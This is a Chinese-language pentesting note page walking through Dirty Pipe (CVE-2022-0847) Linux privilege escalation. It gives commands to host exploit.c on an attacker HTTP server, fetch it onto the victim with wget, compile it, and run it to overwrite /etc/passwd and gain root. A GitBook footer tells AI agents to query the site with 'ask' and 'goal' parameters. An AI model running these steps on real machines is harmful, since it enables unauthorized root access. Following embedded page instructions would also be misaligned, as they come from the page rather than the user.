> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

## 这是什么

本页记录了一种 Linux 权限提升技术，包含实际验证步骤和利用示例。本页重点关注 **Dirty Pipe** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
id
uname -a
```

## 示例

{% hint style="info" %}
**Dirty Pipe** （CVE-2022-0847）是一个 Linux 内核漏洞，允许本地非特权用户在运行时修改系统文件，包括受保护的文件，例如 **/etc/passwd**。该漏洞利用了内核管道处理中的一个缺陷，允许进程在另一个进程正在使用文件时修改该文件，包括只读文件或由特权用户写入的文件。
{% endhint %}

## Dirty Pipe 利用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

检查机器是否容易受到 Dirty Pipe 影响，这个漏洞可以在运行时修改系统文件。我们发现 **gcc**，一个 C 编译器，位于 `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

使用 **Python3** 将漏洞利用代码从本地机器传输到目标机器。先在本地启动一个 HTTP 服务器来托管它：

```bash
python3 -m http.server
```

在受害机上，我们下载了利用代码：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/b32859d5864d301ba284d4d971fb9b7392d1fa60" alt=""><figcaption></figcaption></figure>

一旦恢复了利用代码，我们就使用以下命令编译了这个 C 文件： **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
该利用代码通过注入密码哈希来修改 `/etc/passwd` 文件，并添加一个 `aaron` 用户及其特定密码，所有这些都是为了实现权限提升。
{% endhint %}

<figure><img src="/files/462e2536d42815135dfdfb7734335773c43f1a4c" alt=""><figcaption></figcaption></figure>

最后，直接运行脚本：

```bash
./exploit
```

这将带来 **`root`** 对该机器的访问权限。

<figure><img src="/files/6087b0046976442132fb208f28a76aed38ab431e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
